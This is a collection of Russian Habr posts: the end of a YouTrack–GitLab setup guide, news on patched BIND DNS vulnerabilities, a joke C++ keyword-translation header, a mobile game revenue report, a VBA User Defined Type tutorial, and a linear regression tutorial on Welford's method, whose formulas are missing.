В **Main YouTrack project** укажите нужный проект, выбрите Gitlab, в Repository URL нужно указать полный URL до нужного репозитория, в Personal access token нужно указать api токен. Нажимаем **Generate token** и откроется Access Tokens в User Settings вашего текущего пользователя.
Генерируем токен для api. Почему не подходят другие scope? Потому что Youtrack создает на сервере Gitlab webhook.
Указываем токен в **Personal access token**. И создаем интеграцию.
После создания интеграции проверяем что Youtrack создал на сервере Gitlab webhook. Идем в *projects1 -> Webhook Settings*.
Youtrack создает на сервере Gitlab webhook.
Далее нужно разрешить webhook в локальной сети. Далее переходим: **Admin -> Settings -> Network -> Outbound Requests -> Allow requests to the local network from hooks and services**
Если этого не сделать, у вас будут ошибки: [**Unable to save project. Error: Import url is blocked: Requests to the local network are not allowed**](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/57948)
Сделаем коммит в репозиторий.
В YouTrack увидим что issue закрылся и увидим всплываеющее сообщение об изменении VCS. | https://habr.com/ru/post/512940/ | null | ru | null |
# Критические уязвимости DNS-сервера BIND позволяют удаленно отключать его и проводить DoS-атаки
[](https://habrahabr.ru/company/pt/blog/279503/)
В популярном DNS-сервере BIND обнаружены критические уязвимости. Их эксплуатация может открывать злоумышленникам возможности для проведения DoS-атаки а также удаленно останавливать его работу. Информация об уязвимостях была [опубликована](http://seclists.org/oss-sec/2016/q1/573) специалистами компании ISC, под лицензией которой распространяется программное обеспечение BIND.
#### В чем проблема
Ошибка в работе обработчика входных данных управляющего канала ([CVE-2016-1285](https://kb.isc.org/article/AA-01352)) позволяет злоумышленникам с помощью отправки специально сформированного пакета отключать сервер BIND. Для проведения атаки хакеру необходимо использовать адрес, прописанный в секции “controls” файла named.conf, или иметь доступ к машине, на которой запущен сервер, если канал управления использует список адресов по умолчанию.
Уязвимость [CVE-2016-1286](https://kb.isc.org/article/AA-01353) заключается в некорректной обработке записей DNAME, которая приводит к сбою модулей resolver.c или db.c, который приводит к отказу в обслуживании пользователей сервера. В свою очередь ошибка [CVE-2016-2088](https://kb.isc.org/article/AA-01351) содержится в коде, отвечающем за реализацию поддержки DNS cookies — в результате злоумышленник может вызвать отказ в обслуживании с помощью специально сформированного пакета.
В версиях BIND до номера 9 исследователи за многие годы обнаружили большое количество серьезных проблем с безопасностью. В данном же случае уязвимы именно релизы, начиная с 9:
* Ошибке CVE-2016-1285 подвержены версии 9.2.0 -> 9.8.8, 9.9.0->9.9.8-P3, 9.9.3-S1->9.9.8-S5, 9.10.0->9.10.3-P3
* Ошибке CVE-2016-1286 —версии 9.0.0 -> 9.8.8, 9.9.0 -> 9.9.8-P3, 9.9.3-S1 -> 9.9.8-S5, 9.10.0 -> 9.10.3-P3;
* Ошибке CVE-2016-2088 — версии 9.10.0 -> 9.10.3-P3.
#### Как защититься
Для всех перечисленных выше ошибок уже выпущены патчи. В бюллетенях безопасности компании ISC содержатся рекомендация для пользователей уязвимых версий BIND как можно скорее обновить версию сервера на ту, где уязвимости устранены, и которая ближе всего по номеру к используемой в текущий момент.
Также специалисты ISC указывают, что на данный момент у них нет информации о существовании работающих эксплоитов для указанных уязвимостей.
Однако исследователи Positive Technologies сумели использовать описанную выше уязвимость для осуществления DOS-атаки на утилиту dig, входящую в состав пакета BIND. При этом уязвимый кусок кода утилиты полностью присутствует и в демоне BIND named.
Утилита dig использует [dighost.c](https://source.isc.org/cgi-bin/gitweb.cgi?p=bind9.git;a=blobdiff;f=bin/dig/dighost.c;h=665b1ce37008bf1702028ea43e44bbd8574cbfa1;hp=96b44a84af14ce9ad8d8ef962cd34e30506b9ee0;hb=455c0848f80a8acda27aad1466c72987cafaa029;hpb=7f514657e26e5eb066c2be710fd), а демон named использует [resolver.c](https://source.isc.org/cgi-bin/gitweb.cgi?p=bind9.git;a=blobdiff;f=lib/dns/resolver.c;h=c0e887c90b2eec0246ce193b5e5f711660d29be3;hp=991b2e78d163797386f495553b8b4648e413f932;hb=455c0848f80a8acda27aad1466c72987cafaa029;hpb=7f514657e26e5eb066c2be710f). Механизм устранения уязвимости одинаков для обоих файлов и состоит в добавлении проверки, гарантирующей обработку только первых cookie:
```
/*
* Only process the first cookie option.
*/
if (seen_cookie) {
isc_buffer_forward(&optbuf, optlen);
break;
}
```
Эксперты Positive Technologies также рекомендуют использовать для обнаружения уязвимостей специализированные средства вроде системы мониторинга защищенности и соответствия стандартам [MaxPatrol 8](http://www.ptsecurity.ru/products/mp8/).
 | https://habr.com/ru/post/279503/ | null | ru | null |
# Боярское программирование
Сегодня, во время тестирования русской версии Visual Studio 2008 (привет, [gaidar](https://habrahabr.ru/users/gaidar/)!) было обнаружено, что VS понимает не только переменные на латинице, а и на русском. И пришла идея «боярского программирования»…
«Боярское программирование» от слова «бояре», а не «Боярский, если что… :)
Собственно, идея заключается в замене ключевых слов на английском на их аналоги в старославянском стиле.
Вот набор наших ключевых слов:
`#define и and
#define и_мало_равно and_eq
#define основа asm
#define само auto
#define и_мало bitand
#define или_мало bitor
#define двояко bool
#define прѣрвати break
#define выборъ case
#define ловити catch
#define буквица char
#define классъ class
#define обратити compl
#define постоянно const
#define обратити_из_постоянного const_cast
#define продолжати continue
#define умолчати default
#define удалити delete
#define творити do
#define дробно_точно double
#define обратити_изъ_отчѣ dynamic_cast
#define иначѣ else
#define пѣрѣчислити enum
#define запрѣтити_умолчаниѣ explicit
#define дать_узрѣти export
#define зримо_извнѣ extern
#define ложно false
#define дробно float
#define для for
#define другъ friend
#define пѣрѣйти goto
#define ѣжѣли if
#define включѣно inline
#define цѣло int
#define длинно long
#define обратити_в_нѣпостоянно mutable
#define площадь namespace
#define ново new
#define нѣ not
#define нѣ_равно not_eq
#define управитѣль operator
#define или or
#define или_равно or_eq
#define лично private
#define лично_и_дитям protected
#define общѣ public
#define рѣгистръ register
#define обратити_ворога reinterpret_cast
#define вѣрнути return
#define кратко short
#define знаково signed
#define размѣръ sizeof
#define ѣдино static
#define обратити_из_другого static_cast
#define структура struct
#define избирати switch
#define образѣцъ template
#define сѣй this
#define особливо throw
#define истинно true
#define провѣряти try
#define объявити typedef
#define типъ typeid
#define имя_типа typename
#define ѣдиняшѣ union
#define бѣззнаково unsigned
#define использовати using
#define мнимо virtual
#define нѣпонятно void
#define ѣдинолично volatile
#define широка_буквица wchar_t
#define пока while
#define либо xor
#define либо_равно xor_eq`
ЗЫ Я не Лебедев, и в дореволюционной орфографии разбираюсь слабо, поэтому не обессудьте. :) | https://habr.com/ru/post/41303/ | null | ru | null |
# Финансы от пасьянсов поют романсы
Прошло более месяца, как я выпустил два пасьянса под iOS. Привожу финансовый отчет о доходах с рекламы упомянутых опусов.
Для разнообразия, текст статьи разбавлен шутками, футболом, политикой, алкоголем и сексом.
##### Укус Суареса
Летние месяцы — время финансового затишья на рынке мобильных игр. Большинство населения Земли смотрит футбол и купается в речках.
Однако, это прекрасное время для *аналитики* — любой финансовый прогноз, основанный на летних цифрах, реализует самый пессимистичный сценарий. Хуже уже не будет.
Да, будущее прекрасно. Напомню, что прекрасное будущее обеспечивают для разработчиков бесплатных игр под *iOS* два сервиса
* [adMob;](http://www.admob.com)
* [Сhartboost.](http://www.chartboost.com)
Я уже приводил формулу для расчета успешности приложения под *iOS* в 2014 году.
> 10000 загруженных копий игры должны приносить не менее $5 в календарные сутки
На основе этой формулы автор должен решать — тратить деньги на продвижение игры в *ТОП 25* или насладится любимой женой и итальянской кухней.
##### Пасьянс Rio 2048
Предлагаю финансовый отчет по первой игре. Напоминаю, что это клон *2048* на треугольной доске. Наличие 3 направлений вместо двух существенно изменяет характер и топологию оригинальной игры.
На продвижение игры не было затрачено ни рубля. Но!
Благодаря публикации на *Хабре* и удачному названию игра *Rio 2048* к сегодняшнему дню набрала необходимое число скачиваний — 11005
Каков же календарный доход от игры?
Смотрите на график, почтеннейшая публика
Если в стартовые дни приложение приносило желанные *$5*, то ныне — стабильные *25 рублей* в сутки.
Увы, по неведомой мне причине 25 рублей гораздо дешевле пяти долларов.
Всего приложение заработало за почти два месяца следующую сумму.
При этом приложение имеет прекрасные отзывы и за него не стыдно. Сам я не играю в *Rio 2048.* За неделю тренировок я понял, так сказать, общие принципы успеха и побывал в *ТОП 5* лучших игроков.
##### Вывод
Продвигать приложение **не имеет смысла**. Успеха не будет с вероятностью 90 процентов.
##### Пасьянс Bricks Towers
Благодаря публикации на *Хабре* (2000 загрузок), платному обзору на *4PDA* (1000 загрузок) и гнусным ухищрениям автора (2000 загрузок), игра *Bricks Towers* к сегодняшнему дню не набрала необходимое число скачиваний — 5906.
Тем не менее, какие-то выводы уже можно делать. 6000 игроков — почти достоверная выборка. Почти.
Всего приложение заработало за полтора месяца следующую сумму.
То есть, платная публикация на *4PDA* окупилась — на обзор было затрачено 5000 рублей. Но, честно говоря, не выгодное это дело, парни.
Ладно, теперь самое главное, суточный доход.
На графике доход от игры за календарный месяц по площадке *adMob*.
— Ага!,- воскликнет внимательный читатель, — нету $5, нету!
Пардон, я забыл про *Chartboost*.
Он тоже вносит свой вклад в ежедневный доход
Почему три графика? Это гнусное ухищрение автора — я выпустил три клона игры, для искусственного увеличения числа загрузок.
Суммарно три клона приносят более 3 долларов в день от полноэкранной рекламы *Chartboost*.
Таким образом, игра при *6000 загрузок* приносит *8 долларов в день*.
С этой игры я не ухожу. Не могу постичь тайны правильного собирания кирпичного пасьянса.
Мало того, подлец автор каждый день подбрасывает 4 новых расклада и публика со всего света пытается собрать их лучше других.
Особым мастерством выделяется некто [IrBisoff](http://habrahabr.ru/users/irbisoff/).
Победить его стало практически невозможно, я даже стал подозревать, что играет созданный им бот. Оказалось, живой человек.
Выяснилось случайно.
В таблице рекордов он постоянно менял свое местоположение — то Венгрия, то Украина. Я решил, что [IrBisoff](http://habrahabr.ru/users/irbisoff/) живет в районе Львова и мотается туда-сюда через границу, подрабатывая программистом.
Однако, нет. От него пришло письмо с вопросом
> — Какого черта, чувак? Я живу в центре Киева, а твой geoip сервис причисляет меня к Венгрии.
>
>
Прошу прощения, Украину отдал Венгрии не я.
Вот виновник
```
$ipAddress = $_SERVER['REMOTE_ADDR'];
$xml = file_get_contents('http://api.wipmania.com/' . $ipAddress . '?k=E2g-ХРЕН ВАМ ПАРОЛЬ-3');
$ipCode = $xml;
```
Это код пхп-шного файла на сервере, где я коллекционирую лучшие результаты лучших игроков. В переменную *$ipCode* возвращается *двухбуквенное* значение страны, откуда пришел результат игры. Например, для России это *RU*, для Украины — *UA*. Соответственно, на сервере я завел набор из 200+ картинок с флагами стран — *RU.PNG, UA.PNG, US.PNG* и прочее. Флаги стран я отображаю в таблице лучших игроков на соответствующих им строках.
##### Вывод
С вероятностью 95 процентов игру *Bricks Towers* ждет успех.
Теоретически, я нашел дядю с $50000 для закупки траффика и попадания в *US ТОП 25*. Возможно, к октябрю-ноябрю (самое выгодное время для взлета игр) мы провернем с ним эту аферу. В этом случае, пожелайте ему удачи, парни.
##### Наиболее часто встречающиеся вопросы
##### Где, мля, версия под Android?
Андроид-версия на подходе. Лето, вино, футбол — черт их дери. Сроки сдвинулись.
##### Выходит, игры не обеспечивают высокий жизненный уровень программисту?
Для примера график месячного дохода от всех игр на рекламной площадке Google.
Кроме того, iAd — он вдвойне эффективнее, чем adMob. Да, мы помним тебя, Стив!
Chartboost — приносит 60 процентов в сравнении с adMob.
Короче, пенсия неплохая.
##### Где ссылки на игры
* [Rio 2048;](http://www.appannie.com/apps/ios/app/rio-2048/)
* [Bricks Towers.](http://www.appannie.com/apps/ios/app/bricks-towers/)
Спасибо за внимание, всем хорошего отдыха! | https://habr.com/ru/post/228777/ | null | ru | null |
# User Defined Type. Что это и как его использовать, часть 1
Картинка: [Designed by vectorjuice / Freepik](https://www.freepik.com/free-vector/businessmen-work-with-improvement-diagrams-charts-business-process-management-business-process-visualization-it-business-analysis-concept-illustration_11668543.htm#query=structure&position=2&from_view=search)
> *Кому будет полезна статья, по мнению автора:
> начинающим программистам на языке VBA и тем, кто не работал ранее с оператором Type. Если вы используете этот оператор постоянно, можно сравнить свой вариант применения и вариант автора.*
>
>
Большинство пользователей VBA прекрасно знают такую *штуку* как `Type`, он же *User Defined Type (UDT)*. Кто-то, как я, использует его на повседневной основе. Кто-то, возможно, о нем слышал, но не мог понять как его применить.
Лично я помню, как не так давно смотрел на этот `Type` и пытался понять *зачем* он мне нужен, ведь он просто хранит в себе переменные, которые можно с тем же успехом объявить в функции/процедуре или на уровне модуля?
В этой статье я хотел бы показать на примере как можно использовать `Type`. Мы разберем некоторые его особенности, и возможно кто-нибудь из читателей найдет для себя один из примеров крайне интересным (а может быть даже будет использовать в своих проектах). Поехали!
### Вычисляем ошибки, чтобы их не допускать
Что же, для начала давайте обратимся к официальной документации:
> *(вольный перевод автора)
> Оператор Type – используется на уровне модуля для объявления пользовательского типа данных, содержащего один или несколько элементов.Type можно использовать только на уровне модуля. После объявления пользовательского типа вы можете объявить переменную этого типа в любом месте в пределах области видимости. Для объявления переменной пользовательского типа используйте Dim, Private, Public, ReDim или Static... Номера и метки строк не допускаются внутри блоков Type...End Type.*
>
>
Итак, исходя из документации мы можем выделить два основных момента:
1. Оператор Type используется только на уровне модуля. Это значит, что его нельзя объявлять в процедурах/функциях/методах/свойствах.
2. Номера и метки строк не допускаются внутри блоков.
Давайте протестируем оба утверждения:
В первом случае получаем ошибку компиляции *"Недопустимая внутренняя процедура",*
ошибка компиляции при объявлении Type внутри процедурыво втором так же ошибка компиляции *"Оператор (заявление/утверждение) недопустим внутри блока Type".*
ошибка компиляции при объявлении Type с номером/меткой строки внутри блокаНе описано в официальной документации то, что объявленный в `Class` модуле `Type` может быть только `Private`, иначе мы снова получим ошибку компиляции, в этот раз "*Нельзя объявлять публичный пользовательский тип в объектном модуле"*:
ошибка компиляции при объявлении Public Type в Class модулеКомпилятор перестает ругаться только в случае `Private Type` в `Class` модуле, но здесь нужно помнить, что возвращать такой UDT можно только `Private` функцией, иначе:
ошибка компиляции при возврате приватного типамы снова получим ошибку компиляции, теперь это *"Private перечисления и пользовательские типы, не могут использоваться в качестве параметров или возвращаемых типов для Public процедур, членов данных или полей пользовательских типов"*.
Кстати, как и обозначено в описании ошибки, в модуле класса нельзя создавать публичные поля или использовать параметры для публичных методов с приватным типом UDT. Ну оно и логично.
### Постановка задачи
Итак, если я не *ошибаюсь*, с *ошибками* мы разобрались. Перейдем к использованию.
Давайте представим, что наша задача – почтовая рассылка по определенному скрипту. Во время выполнения макроса мы получаем информацию об email-адресе *получателя*, адресате *копии* письма и его *теме*, после чего все эти данные нам нужно передать в отдельную функцию, которая занимается созданием письма и его отправкой или сохранением в черновики.
### Решаем без UDT
Для начала разберемся с обычным модулем. Использование UDT в `Class` модуле будет во [второй части](https://habr.com/ru/post/711222/).
Как можно решить эту задачу стандартными средствами?
Что ж, первое что мы делаем – объявляем переменные, которые будут содержать адрес получателя и адрес адресата копии (простите за тавтологию), а так же тему письма, после чего присваиваем напрямую значения, чтобы не усложнять пример, и отправляем их как аргументы в функцию `CreateLetter`:
```
Sub Mailing()
Dim AddressTo As String: AddressTo = "exampleTo@test.vba"
Dim AddressCC As String: AddressCC = "exampleCC@test.vba"
Dim Subject As String: Subject = "Тема письма"
CreateLetter AddressTo, AddressCC, Subject
End Sub
```
Далее, пропишем функцию, которая создаст и отправит *или* сохранит письмо (это значение сделаем необязательным, по умолчанию установим в `False`):
заметьте как много параметров уже сейчас есть в этой функции
```
Sub CreateLetter(ByVal AddressTo As String, _
ByVal AddressCC As String, _
ByVal Subject As String, _
Optional ByVal Submit As Boolean = False)
Dim Outlook As Object
Set Outlook = CreateObject("Outlook.Application")
With Outlook.CreateItem(olMailItem)
.To = AddressTo
.CC = AddressCC
.Subject = Subject
If Submit Then .Send
End With
End Sub
```
Итак, в целом все нормально. У нас есть данные, мы передаем их в функцию, функция их использует.
Но это всего лишь два адреса и тема.
А теперь представим, что нам нужно передавать еще текст тела письма и вложение.
А еще в параметрах можно указать нужно ли удалять письмо после отправки (свойство `DeleteAfterSubmit`), или указать нужно ли отметить неотправленное письмо (черновик) как прочитанное (свойство `UnRead`).
А еще, возможно нам потребуется создавать письмо из другой процедуры и тогда снова придется перечислять все переменные в объявлении и передавать их все в функцию.
И многое, многое другое...
Представьте на секунду насколько сильно разрастутся параметры функции.
Плюс, копия в письме может быть не всегда, как и вложение. Тогда придется делать все параметры `Optional`? Или прописать `ParamArray`? Это все не наглядно и может вызвать ошибки, в случае не верной передачи параметров.
Код становится менее читаемым и сумбурным, согласитесь. На таком небольшом примере все **ок**, ничего особо критичного. Но в реальном проекте это может стать большой проблемой.
Гораздо более лаконичное решение, как вы уже поняли, использовать UDT.
### Решаем с UDT
Для решения нам потребуется объявить `Type` на уровне модуля и поместить в него все наши переменные. Давайте назовем его `TLetter`:
```
Type TLetter
AddressTo As String
AddressCC As String
Subject As String
End Type
```
Далее, в процедуре `Mailing` создадим переменную `Letter` типа `TLetter`:
обратите внимание, что IDE уже предлагает нам автокомплит данного типа и это прекрасно!
```
Sub Mailing()
Dim Letter As TLetter
Dim AddressTo As String: AddressTo = "exampleTo@test.vba"
Dim AddressCC As String: AddressCC = "exampleCC@test.vba"
Dim Subject As String: Subject = "Тема письма"
CreateLetter AddressTo, AddressCC, Subject
End Sub
```
Теперь, всем *полям* нашего типа присваиваем необходимые значения. Сделать это можно написав имя переменной `Letters` и далее через точку выбрать нужное *поле*:
и вновь автокомплит в действии
```
Sub Mailing()
Dim Letter As TLetter
Letter.AddressTo = "exampleTo@test.vba"
Letter.AddressCC = "exampleCC@test.vba"
Letter.Subject = "Тема письма"
CreateLetter Letter
End Sub
```
Ничего вам это не напоминает?😏
> *Если вы сказали "да это же как объект" – то вы совершенно правы. Взаимодействие с Type очень похоже на взаимодействие с объектами. Только мы объявляем его без ключевых слов New и Set, как в случае с объектами, а так же не сможем поместить в него функции/процедуры. Я бы даже назвал этот блок, скорее, своего рода, структурой.*
>
>
Все что нам осталось сделать – заменить в процедуре `CreateLetter` три старых параметра на один новый и переписать присваивание параметров:
```
Sub CreateLetter(ByRef Letter As TLetter, _
Optional ByVal Submit As Boolean = False)
Dim Outlook As Object
Set Outlook = CreateObject("Outlook.Application")
With Outlook.CreateItem(olMailItem)
.To = Letter.AddressTo
.CC = Letter.AddressCC
.Subject = Letter.Subject
If Submit Then .Send
End With
End Sub
```
> *Кстати, в блоке* ***Ошибки*** *я забыл упомянуть еще одну небольшую особенность – UDT в параметры можно передавать только* `ByRef`.
>
>
Так лучше, верно?
Не совсем. Давайте уберем последний опциональный параметр `Submit` из функции и пропишем его в нашей *структуре* как поле:
```
Option Explicit
Type TLetter
AddressTo As String
AddressCC As String
Subject As String
Submit As Boolean ' Переносим параметр в структуру.
End Type
Sub Mailing()
Dim Letter As TLetter
Letter.AddressTo = "exampleTo@test.vba"
Letter.AddressCC = "exampleCC@test.vba"
Letter.Subject = "Тема письма"
CreateLetter Letter
End Sub
Sub CreateLetter(ByRef Letter As TLetter)
Dim Outlook As Object
Set Outlook = CreateObject("Outlook.Application")
With Outlook.CreateItem(olMailItem)
.To = Letter.AddressTo
.CC = Letter.AddressCC
.Subject = Letter.Subject
If Letter.Submit Then .Send ' Передаем поле из структуры.
End With
End Sub
```
Вот теперь действительно лучше.
Обратите внимание, мы не присваиваем полю `Submit` значение в процедуре `Mailing`. Не присвоенное значение по умолчанию останется `False`:
Думаю не нужно объяснять, что расширять этот тип можно сколько угодно, при этом использовать *все* его поля нет необходимости. Вы можете оставлять их пустыми и уже в функции прописывать валидацию для пустых полей, если в этом есть потребность.
### Расширяем возможности
Итак, мы научились складывать несколько связанных переменных в одну и использовать их в качестве аргумента функции.
Но что если нам нужно очень много таких переменных и при этом они связаны между собой в своего рода блоки, а эти блоки можно связать в одну единую переменную?
Давайте добавим новые вводные в задачу и рассмотрим на примере.
Допустим в функцию `CreateLetter` нам нужно дополнительно передавать параметр `UnRead`, а так же тело письма.
Для начала разделим все наши вводные на несколько блоков:
1. Блок адресатов: получатель, копия.
2. Блок письма: тема и тело.
3. Блок параметров: отправлять или нет, помечать как прочитанное или нет.
Итого получаем три блока по две переменных в каждом.
Как это реализовать? Очень просто.
Для начала, под каждый блок создаем свой UDT:
```
Option Explicit
' Блок адресатов
Type TRecipient
To As String
CC As String
End Type
' Блок письма
Type TMain
Subject As String
Body As String
End Type
' Блок параметров
Type TParameter
Submit As Boolean
UnRead As Boolean
End Type
```
После чего снова создаем UDT `TLetter`, а уже в нем объявляем три переменных с ранее созданными блоками:
```
Type TLetter
Recipient As TRecipient
Main As TMain
Parameter As TParameter
End Type
```
Да, так можно было. 😁
Дальше, что называется, следите за руками.
В процедуре `Mailing` через уже знакомую переменную `Letter` присваиваем значения переменнным блока адресатов и блока письма:
параметр передаваемый в функцию CreateLetter остается неизменным, это важно
```
Sub Mailing()
Dim Letter As TLetter
Letter.Recipient.To = "exampleTo@test.vba"
Letter.Recipient.CC = "exampleCC@test.vba"
Letter.Main.Subject = "Тема письма"
Letter.Main.Body = "Тело письма"
CreateLetter Letter
End Sub
```
Немного корректируем функцию `CreateLetter` и добавляем новые параметры для создаваемого элемента письма (не функции):
```
Sub CreateLetter(ByRef Letter As TLetter)
Dim Outlook As Object
Set Outlook = CreateObject("Outlook.Application")
With Outlook.CreateItem(olMailItem)
.To = Letter.Recipient.To
.CC = Letter.Recipient.CC
.Subject = Letter.Main.Subject
.Body = Letter.Main.Body
.UnRead = Letter.Parameter.UnRead
If Letter.Parameter.Submit Then .Send
End With
End Sub
```
И все! Да, так просто.
В реальных задачах меня такая гибкость очень сильно выручала, выручает и, уверен, еще будет выручать.
### Что в итоге
В итоге, мы имеем очень удобный и гибкий инструмент для хранения некой связанной структуры данных.
Так же, этот инструмент помогает нам защитить код от ошибок на моменте его написания, потому что передать непонятно что в функцию будет сильно сложнее, чем если бы мы использовали обычные типы.
Код, благодаря такому подходу, становится, во-первых, *более читаемым*,и во-вторых, *более гибким и расширяемым*. С таким кодом гораздо приятнее работать.
А ведь это важные вещи, к которым мы все стремимся при написании кода.
Это не все, что я хотел рассказать про `Type`. В следующей статье рассмотрим еще один пример использования UDT в модуле, а так же увидим как его применять в `Class` модуле.
> *Спасибо, что прочитали до конца.
> А как вы используете Type? Пишите в комментариях!
> А также, подписывайтесь на мой* [*телеграмм*](https://t.me/VBAn_Diary)*.*
>
> | https://habr.com/ru/post/691000/ | null | ru | null |
# Метод Уэлфорда и одномерная линейная регрессия
[Одномерная линейная регрессия](http://www.machinelearning.ru/wiki/index.php?title=Simple_linear_regression) — один из самых простых регрессионных методов (и вообще один из самых простых методов машинного обучения), который позволяет описывать линейную зависимость наблюдаемой величины от одного из признаков. В общем случае в задачах машинного обучения приходится сталкиваться с большим количеством различных признаков; одномерная линейная регрессия в таком случае выбирает тот из них, который позволяет добиться наилучшей корреляции с целевой функцией.
В [предыдущем посте](https://habrahabr.ru/post/333426/) из этой серии мы обсудили точность вычислений средних и ковариаций, а также познакомились с методом Уэлфорда, который во многих случаях позволяет избежать вычислительных погрешностей в этих задачах. Сегодня мы рассмотрим практическое применение метода Уэлфорда в задаче одномерной линейной регрессии.
[](https://habrahabr.ru/post/335522/)
### Содержание
* [1. Одномерная линейная регрессия](#1-odnomernaya-lineynaya-regressiya)
* [2. Решение для центрированных выборок](#2-reshenie-dlya-centrirovannyh-vyborok)
* [3. Решение в общем случае](#3-reshenie-v-obschem-sluchae)
* [4. Применение метода Уэлфорда](#4-primenenie-metoda-uelforda)
* [5. Экспериментальное сравнение методов](#5-eksperimentalnoe-sravnenie-metodov)
* [Заключение](#zaklyuchenie)
* [Литература](#literatura)
### 1. Одномерная линейная регрессия
В задаче одномерной линейной регрессии мы предполагаем, что имеются две последовательности вещественных чисел: признаки  и ответы . Кроме того, имеется вектор соответствующих весов . Как и всегда, мы будем предполагать, что эти последовательности содержат потенциально бесконечное количество элементов, но на данный момент рассмотрены только  первых элементов каждой из последовательностей.
Нашей задачей будет восстановить линейную зависимость между признаками и ответами, то есть, построить линейную решающую функцию :
При этом минимизируется среднеквадратичный функционал потерь:
Для анализа проще работать с формулой, свободной от радикала и нормировки:
Поскольку точки минимума для функционалов  и  совпадают, такая замена корректна.
### 2. Решение для центрированных выборок
Для функционала потерь  легко записать производные по  и :
Если приравнять их к нулю, получим:
*Важное отступление. Приравнивание производной нулю в данном случае корректно, т.к.:*
*1. Функционал потерь является выпуклым по оптимизируемым параметрам, поэтому [любая точка локального оптимума будет также точкой глобального оптимума](https://ru.wikipedia.org/wiki/%D0%92%D1%8B%D0%BF%D1%83%D0%BA%D0%BB%D0%B0%D1%8F_%D1%84%D1%83%D0%BD%D0%BA%D1%86%D0%B8%D1%8F#.D0.A1.D0.B2.D0.BE.D0.B9.D1.81.D1.82.D0.B2.D0.B0).*
*2. Функционал потерь по оптимизируемым параметрам представляет собой параболу, поэтому найденные экстремальные точки будут точками минимума.*
Если бы оптимальный параметр  равнялся нулю, найти решение не составило бы труда. Можно заметить, что центрирование, стандартный для машинного обучения способ предобработки выборки, приводит именно к этому эффекту. Действительно, рассмотрим задачу для центрированных переменных:
Сумма взвешенных признаков теперь равняется нулю, так же, как и сумма взвешенных ответов:
Тогда оптимальное значение свободного параметра равняется нулю:
А это значит, что и оптимальное значение параметра  найти легко:
### 3. Решение в общем случае
Теперь давайте попробуем вернуться к общему случаю нецентрированных данных. Если  — решающая функция для центрированного случая, значения которой определяются формулой
и приближают величину , то следующая решающая функция аппроксимирует уже величину :
Поэтому решение изначальной задачи одномерной линейной регрессии можно записать следующим образом:
Здесь мы используем введенное в прошлой статье [обозначение для взвешенного среднего](https://habrahabr.ru/post/333426/#2-oboznacheniya):
Можно понять, что такой переход корректен, еще одним способом. Если решение для центрированных данных оптимально, то параметры  и  доставляют минимум функционалу потерь :
Произведём теперь замену переменных, вернувшись к нецентрированным данным:
Получившееся выражение описывает значение функционала потерь  для несмещённых данных в соответствии с формулами для  и , которые мы получили выше. Значение функционала при этом достигает минимума, следовательно, задача решена корректно!
### 4. Применение метода Уэлфорда
Теперь заметим, что при вычислении параметра  используются те самые ковариации, вычислением которых мы [занимались в предыдущей статье](https://habrahabr.ru/post/333426/#4-vychislenie-kovariaciy). В самом деле, используя обозначения из неё, можно записать:
Это значит, что для вычисления коэффициента регрессии требуется два раза вычислить ковариации при помощи метода Уэлфорда. В процессе этих вычислений мы одновременно найдём и средние величины, необходимые для вычисления свободного коэффициента регрессии.
[Код для добавления очередного элемента в выборку](https://github.com/ashagraev/linear_regression/blob/master/src/lib/simple_linear_regression.cpp#L6) состоит из обновления средних и дисперсий для признаков и ответов, а также ковариации между признаками и ответами:
```
void TWelfordSLRSolver::Add(const double feature, const double goal, const double weight) {
SumWeights += weight;
if (!SumWeights) {
return;
}
const double weightedFeatureDiff = weight * (feature - FeaturesMean);
const double weightedGoalDiff = weight * (goal - GoalsMean);
FeaturesMean += weightedFeatureDiff / SumWeights;
FeaturesDeviation += weightedFeatureDiff * (feature - FeaturesMean);
GoalsMean += weightedGoalDiff / SumWeights;
GoalsDeviation += weightedGoalDiff * (goal - GoalsMean);
Covariation += weightedFeatureDiff * (goal - GoalsMean);
}
```
А так выглядит метод, который [решает задачу нахождения оптимальных параметров одномерной линейной регрессии](https://github.com/ashagraev/linear_regression/blob/master/src/lib/simple_linear_regression.h#L100) после добавления всех элементов:
```
template
void TWelfordSLRSolver::Solve(TFloatType& factor, TFloatType& intercept, const double regularizationParameter = 0.1) const {
if (!FeaturesDeviation) {
factor = 0.;
intercept = GoalsMean;
return;
}
factor = Covariation / (FeaturesDeviation + regularizationParameter);
intercept = GoalsMean - factor \* FeaturesMean;
}
```
Величина `GoalsDeviation` здесь не используется, но она потребуется нам в дальнейших статьях.
Объединение всех вычислений в рамках одного класса позволяет избежать некоторых накладных расходов. Скажем, если бы в реализации использовались два объекта для хранения средних и три объекта для хранения ковариаций (признаки с признаками, ответы с ответами, признаки с ответами), то сумма весов обновлялась бы пять раз для каждого примера из выборки.
### 5. Экспериментальное сравнение методов
Для практического сравнения я написал программу, в которой [реализуются различные способы решения задач одномерной и многомерной линейной регрессии](https://github.com/ashagraev/linear_regression). О многомерной регрессии речь пойдёт в следующих статьях, а сейчас сосредоточимся на одномерном случае.
Сравнивать будем, как обычно, "наивные" методы, методы, основанные на суммировании методом Кэхэна, и методы, основанные на методе Уэлфорда.
"Наивные" методы [непосредственно применяют формулы для вычисления ковариаций](https://github.com/ashagraev/linear_regression/blob/master/src/lib/simple_linear_regression.h#L20):
```
void Add(const double feature, const double goal, const double weight = 1.) {
SumFeatures += feature * weight;
SumSquaredFeatures += feature * feature * weight;
SumGoals += goal * weight;
SumSquaredGoals += goal * goal * weight;
SumProducts += goal * feature * weight;
SumWeights += weight;
}
```
Класс является шаблонным и имеет специализации со счетчиками типа [double](https://github.com/ashagraev/linear_regression/blob/master/src/lib/simple_linear_regression.h#L166) и типа [TKahanAccumulator](https://github.com/ashagraev/linear_regression/blob/master/src/lib/simple_linear_regression.h#L167).
Кроме того, [реализован класс](https://github.com/ashagraev/linear_regression/blob/master/src/lib/simple_linear_regression.h#L122) `TTypedBestSLRSolver`, который выбирает лучший из признаков для построения одномерной регрессионной модели. Делается это [очень просто](https://github.com/ashagraev/linear_regression/blob/master/src/lib/simple_linear_regression.h#L136): задача одномерной линейной регрессии решается для каждого из признаков, а затем выбирается лучшая из получившихся моделей.
Для проверки разработанных методов воспользуемся модельными данными из [коллекции LIAC](https://github.com/renatopp/arff-datasets). Некоторые из наборов данных для удобства помещены в директорию [data](https://github.com/ashagraev/linear_regression/tree/master/data/features) в формате, который понимает написанная программа.
